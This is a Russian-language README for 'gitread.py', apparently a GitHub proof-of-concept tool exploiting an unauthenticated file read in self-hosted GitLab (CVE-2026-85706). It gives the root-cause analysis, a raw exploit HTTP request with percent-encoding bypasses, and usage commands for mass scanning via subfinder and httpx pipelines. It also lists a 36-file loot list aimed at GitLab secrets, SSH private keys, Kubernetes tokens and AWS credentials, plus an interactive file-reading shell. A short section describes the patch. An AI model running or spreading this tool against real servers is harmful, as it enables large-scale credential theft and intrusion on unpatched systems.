
CVE-2026-85706 · GitLab CE/EE чтение файлов без аутентификации · исследовательский PoC с режимом оракула, перечислением файловых дескрипторов и многоуровневым таргетингом добычи
PoC для CVE-2026-85706 — неаутентифицированное произвольное чтение файлов, затрагивающее самостоятельно развёрнутые GitLab CE/EE.
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Затронуто | 18.7 до 19.1.7, 19.2.0 до 19.2.5, 19.3.0 до 19.3.1 |
| Исправлено | 19.1.8 / 19.2.6 / 19.3.2 (выпущено 2026-09-10) |
| Компонент | Repository Commits API / Files API (Workhorse body-upload) |
| Автор отчёта | s3ntago через GitLab HackerOne |
Три эндпоинта repository API находятся за requestBodyUploader в Workhorse:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
Обработчик Rails вызывает File.open(params['file.path']) до authenticate!. Эксплуатацию делают возможной четыре условия:
1. Аутентификация срабатывает после чтения файла.
require_gitlab_workhorse! проверяет только JWT-заголовок Gitlab-Workhorse-Api-Request. Workhorse проставляет этот заголовок на каждый проксируемый запрос, включая обычные сквозные передачи. Настоящий authenticate! находится внутри authorize_push_to_branch!, который выполняется после того, как file_params_from_body_upload уже прочитал файл с диска.
2. file.path берётся напрямую из запроса.
file_params_from_body_upload читает params['file.path'] как абсолютный путь без какой-либо валидации. В штатном сценарии Workhorse записывает загруженный файл во временный файл и сам подставляет этот параметр. Атакующему достаточно отправить его напрямую как параметр строки запроса, указывающий на любой файл в файловой системе.
3. Сопоставление маршрутов в Workhorse никогда не декодирует процентное кодирование.
Workhorse сопоставляет маршруты загрузки с EscapedPath() — необработанными байтами URL в том виде, в каком они получены. Puma декодирует последовательности %XX перед маршрутизацией в Grape. Поэтому кодирование одного символа в статическом сегменте заставляет Workhorse пропустить своё правило перезаписи, тогда как Rails всё равно направляет запрос в уязвимый обработчик:
POST /api/v4/projects/1/repository/commits/ (завершающий слэш)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (суффикс формата Grape)
4. Rack возвращает содержимое файла обратно в ответе об ошибке.
При Content-Type: application/x-www-form-urlencoded содержимое файла передаётся в Rack::Utils.parse_nested_query. Любой одиночный %, за которым не следуют две шестнадцатеричные цифры, вызывает InvalidParameterError: invalid %-encoding (<content>). Всё до первого & в файле отражается в теле ответа 400.
Файлы без одиночного % всё равно читаются до аутентификации. Ответ 401 из ветки urlencoded и ответ 500 из ветки multipart оба подтверждают, что файл существует и доступен для чтения пользователю git, что делает их полезными в качестве оракула существования.
Эксплойт-запрос:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file читает любой отдельный файл; автоматически переключается на оракул, если нет триггера эха--loot проходит 36 целей по 7 уровням, упорядоченным по подтверждённой вероятности триггера эха--oracle выполняет двухветочную проверку (urlencoded + multipart) для файлов без эха и сообщает, доступен ли каждый из них для чтения, отсутствует или нечитаем--proc перечисляет /proc/self/fd/0-31 для поиска открытых файловых дескрипторов, затем читает стандартные цели разведки в /proc--shell открывает интерактивную оболочку чтения файлов с командами cat, loot, oracle, project и curl--pipe читает цели из stdin и обрабатывает вывод subfinder, текст httpx, JSON httpx, JSON nuclei и строки хостовpip install requests
python3 gitread.py -h
Требуется Python 3.10 или новее. Других зависимостей нет.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdin определяется автоматически, когда это не TTY, поэтому --pipe в большинстве случаев необязателен.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
Коды выхода: 0 утечка подтверждена, 1 только оракул или нет утечек в конвейере, 2 ничего не найдено.
Исправлено в master-коммите 0d9ce3e7, бэкпортировано как 1fe30154 / b43c8b26 / 0ff7b6b2.
Одновременно было изменено три вещи:
authenticate! перемещён перед file_params_from_body_upload во всех трёх эндпоинтах, чтобы файл никогда не читался для неаутентифицированного запросаfile.path теперь принимается только из типизированного объекта UploadedFile, создаваемого multipart-промежуточным ПО, что требует действительного JWT с подписью Workhorse, а не из сырого параметра строки запросаInvalidParameterError больше не подставляет e.message в тело ответа, поэтому канал эха закрыт, даже если кто-то найдёт способ обойти первые два исправленияОшибка была внесена в GitLab 18.7 (декабрь 2025), когда был добавлен вариант commits API с загрузкой тела.
сделано с любовью @plur1bu5 -- если вам это полезно, буду признателен за звезду
--list принимает файл с целями по одной на строку--threads для параллельного массового сканирования--proxy направляет всё через Burp или mitmproxy--raw записывает необработанные байты в stdout без оформления, удобно для перенаправления в файл--full выполняет loot, oracle и proc за один проход-o| Вердикт | Значение |
|---|
leak | Содержимое файла отражено в теле ответа 400, чтение подтверждено |
leak-frag | Частичное эхо через ошибку типа параметра |
read-noecho | Файл был прочитан до аутентификации, но не содержит одиночного %, поэтому ничего не отражено |
READABLE | Ветка multipart вернула 500, файл существует и доступен для чтения пользователю git |
missing | Сервер сообщил, что локальный файл отсутствует |
rewrite | Workhorse перезаписал тело, эта форма обхода не работает |
noroute | Rails 404, экземпляр пропатчен или путь неверен |
server-error | 500, файл существует, но вызвал ошибку разбора |
| Уровень | Файлы | Эхо |
|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | Содержимое утекает напрямую |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | Только оракул, чистый hex |
| 3 | .gitlab_workhorse_secret | Только оракул |
| 4 | Приватные ключи SSH и authorized_keys | Только оракул |
| 5 | gitlab-shell.yml, gitaly.toml, конфигурация PostgreSQL | Только оракул |
| 6 | Токен сервисной учётной записи Kubernetes, учётные данные AWS | Только оракул |
| 7 | Hostname, hosts, passwd, os-release, environ | Только оракул |
| Флаг | Описание |
|---|
-t, -u, --target | Один базовый URL |
--pipe | Читать цели из stdin |
--list FILE | Файл с целями |
--file PATH | Один абсолютный путь для чтения |
--loot | Полный проход по 36 целям loot |
--oracle | Двухветочная проверка файлов без эха |
--proc | Перечисление fd в /proc и разведка |
--shell | Интерактивная оболочка после сканирования |
--full | loot + oracle + proc |
--project-id ID | Принудительно задать id проекта вместо автоопределения |
--force | Сканировать, даже если цель не определяется как GitLab |
--raw | Записывать необработанные байты в stdout без оформления |
--proxy URL | HTTP/S прокси |
--threads N | Рабочие потоки для режима конвейера (по умолчанию 8) |
--timeout N | Тайм-аут на запрос в секундах (по умолчанию 15) |
-o FILE | Сохранить отчёт (.json для массива с форматированием, любое другое для JSONL) |
-q, --quiet | Выводить только попадания |
-v, --verbose | Показывать каждую попытку проверки |
--no-banner | Подавить баннер |